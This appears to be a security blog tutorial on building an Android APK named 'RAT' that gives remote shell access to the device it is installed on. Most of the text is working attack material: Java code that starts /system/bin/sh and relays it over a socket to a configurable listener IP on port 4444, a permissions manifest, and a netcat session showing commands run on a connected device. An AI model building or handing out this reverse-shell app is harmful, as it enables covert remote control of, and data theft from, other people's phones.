Android Remote Access

Metasploit has a module that can be used to create malicious APK files to gain remote access to Android devices. Unfortunately this is not compatible with Android 14 and above due to changes in the Android permission model.

This article will be looking at creating a simple APK file to gain remote shell access to an android device.

In Android Studio create a new project and select “Empty Views Activity”, then select the following options.

Next, add a button to activity_main.xml with a handler set to onConnectClick.

Edit the MainActivity code to include the following:

package com.bordergate.rat;

import android.os.Bundle;
import android.util.Log;
import android.view.View;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import android.widget.TextView;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MainActivity";
    private static final String SERVER_IP = "192.168.1.253"; // CHANGEME
    private static final int SERVER_PORT = 4444;             // CHANGEME

    public void onConnectClick(View view) {
        TextView myTextView = findViewById(R.id.textView);
        myTextView.setText("Connecting to " + SERVER_IP + ":" + SERVER_PORT + "\n");

        startReverseShellConnection();
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);
        adjustSystemBarsPadding();
    }

    private void adjustSystemBarsPadding() {
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (view, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });
    }

    private void startReverseShellConnection() {
        new Thread(() -> {
            try {
                establishReverseShellConnection();
            } catch (Exception e) {
                Log.e(TAG, "Connection error: " + e.getMessage());
            }
        }).start();
    }

    private void establishReverseShellConnection() throws Exception {
        Process process = Runtime.getRuntime().exec("system/bin/sh");

        try (Socket socket = new Socket(SERVER_IP, SERVER_PORT)) {
            forwardStream(socket.getInputStream(), process.getOutputStream());
            forwardStream(process.getInputStream(), socket.getOutputStream());
            forwardStream(process.getErrorStream(), socket.getOutputStream());

            TextView myTextView = findViewById(R.id.textView);
            myTextView.append("Connected!\n");

            process.waitFor();
        }
    }

    private static void forwardStream(InputStream input, OutputStream output) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[4096];
                int length;
                while ((length = input.read(buffer)) != -1) {
                    if (output != null) {
                        output.write(buffer, 0, length);
                        if (input.available() == 0) {
                            output.flush();
                        }
                    }
                }
            } catch (IOException e) {
                Log.w(TAG, "Stream forwarding failed", e);
            } finally {
                closeQuietly(input);
                closeQuietly(output);
            }
        }).start();
    }

    private static void closeQuietly(AutoCloseable resource) {
        try {
            if (resource != null) {
                resource.close();
            }
        } catch (Exception e) {
            Log.w(TAG, "Failed to close resource", e);
        }
    }
}

Modify the application manifest file to include the required permissions.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED"/>
    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.RAT"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

With all that set, run the application and click the connect button. You should get a reverse shell back from the device.

nc -nlvvp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.253 35134
id
uid=10192(u0_a192) gid=10192(u0_a192) groups=10192(u0_a192),3003(inet),9997(everybody),20192(u0_a192_cache),50192(all_a192) context=u:r:untrusted_app:s0:c192,c256,c512,c768
whoami
u0_a192
pm list packages -f
package:/system/priv-app/ONS/ONS.apk=com.android.ons
package:/apex/com.android.adservices/app/SdkSandboxGoogle@340818040/SdkSandboxGoogle.apk=com.google.android.sdksandbox
package:/system_ext/priv-app/SettingsGoogle/SettingsGoogle.apk=com.android.settings
package:/system/app/SecureElement/SecureElement.apk=com.android.se
package:/system_ext/priv-app/MultiDisplayProvider/MultiDisplayProvider.apk=com.android.emulator.multidisplay

In Conclusion

This obviously isn’t a full solution for a RAT, for that we would need the ability to keep running the application in the background. Still, this can be useful if you have a device where ADB is disabled, but you can install applications.